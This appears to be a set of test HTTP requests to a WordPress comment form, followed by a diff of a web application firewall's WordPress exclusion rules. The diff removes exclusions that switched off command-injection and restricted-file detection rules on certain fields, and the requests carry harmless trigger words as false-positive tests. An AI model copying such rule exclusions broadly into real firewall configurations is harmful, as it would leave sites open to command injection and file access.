{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 169", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+0.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"}
{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 172", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+1.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fpython3.example%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"}
{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 189", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+2.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"}
{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 178", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+3.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2Fls+-la%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"}
{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 178", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+4.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2F.htaccess&submit=Post+Comment&comment_post_ID=1&comment_parent=0"}
internal/coreruleset/wordpress.conf
+8 -45
View File
@@ -102,39 +102,6 @@ SecRule REQUEST_FILENAME "@streq /wp-login.php" \
"id:900704,phase:1,pass,nolog,chain" "id:900704,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd" SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd"
# Saving through the REST API, the JSON fields title, excerpt and name skip these
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
# 932120 and 932260:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
SecRule TX:rest_route "@beginsWith /wp/v2/" "id:900712,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:title|excerpt|slug|name)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:title|excerpt|name)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:title|excerpt|slug|name)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:title|excerpt|name)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:title|excerpt|slug|name)$/"
# A comment's author gives the address of their site in url, which skips these
# rules there:
# 930120: http://blog.example/.htaccess
# 932120: http://blog.example/powershell-basics/
SecRule REQUEST_FILENAME "@streq /wp-comments-post.php" \
"id:900713,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:url "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:url,\
ctl:ruleRemoveTargetById=932120;ARGS:url"
# The block editor's link previews and embeds send an address in url, which
# skips these rules there:
# 930120: http://blog.example/.htaccess
# 932120: http://blog.example/powershell-basics/
SecRule TX:rest_route "@rx ^/(?:wp-block-editor/v1/url-details|oembed/1\.0/proxy)$" \
"id:900714,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:url,\
ctl:ruleRemoveTargetById=932120;ARGS:url"
# The plugin and theme file editors name the file open in file, which skips # The plugin and theme file editors name the file open in file, which skips
# these rules there: # these rules there:
# 930120: akismet/views/config.php # 930120: akismet/views/config.php
@@ -150,9 +117,9 @@ SecRule REQUEST_FILENAME "@rx ^/wp-admin/(?:plugin|theme)-editor\.php$" \
ctl:ruleRemoveTargetById=932260;ARGS:file,\ ctl:ruleRemoveTargetById=932260;ARGS:file,\
ctl:ruleRemoveTargetById=941180;ARGS:file" ctl:ruleRemoveTargetById=941180;ARGS:file"
# Searches, the names of tags, categories, plugins, themes and plugins' settings # Searches, the names of tags, categories, plugins and themes, and WordPress's
# pages, and addresses can hold any word. In the fields of the next three rules, # addresses for its own pages can hold any word. In the fields of the next three
# each request skips the rules that refused such words: # rules, each request skips the rules that refused such words:
# 930120: .htaccess # 930120: .htaccess
# 932120: powershell # 932120: powershell
# 932250: ls -la # 932250: ls -la
@@ -161,18 +128,14 @@ SecRule REQUEST_FILENAME "@rx ^/wp-admin/(?:plugin|theme)-editor\.php$" \
# group also skip: # group also skip:
# 932235: python3, in the address of a page of results # 932235: python3, in the address of a page of results
# All of wp-admin, and signing in. A plugin's settings page is named in page. # All of wp-admin, and signing in.
# The site editor names a template in p and postId, and a plugin to install is
# named in slug. WordPress writes these three as slugs, such as htaccess or
# ls-la, so they skip only 932120 and 932260. Names are matched in lower case,
# so postId is written postid.
SecRule REQUEST_FILENAME "@rx ^/(?:wp-admin/|wp-login\.php$)" \ SecRule REQUEST_FILENAME "@rx ^/(?:wp-admin/|wp-login\.php$)" \
"id:900707,phase:1,pass,nolog,\ "id:900707,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|page|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\ ctl:ruleRemoveTargetById=930120;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|page|p|postid|slug|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\ ctl:ruleRemoveTargetById=932120;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\ ctl:ruleRemoveTargetById=932235;ARGS:/^(?:url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|page|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\ ctl:ruleRemoveTargetById=932250;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|page|p|postid|slug|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/" ctl:ruleRemoveTargetById=932260;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/"
# Every route of WordPress's own REST API, and the embed address each post links # Every route of WordPress's own REST API, and the embed address each post links
# to. # to.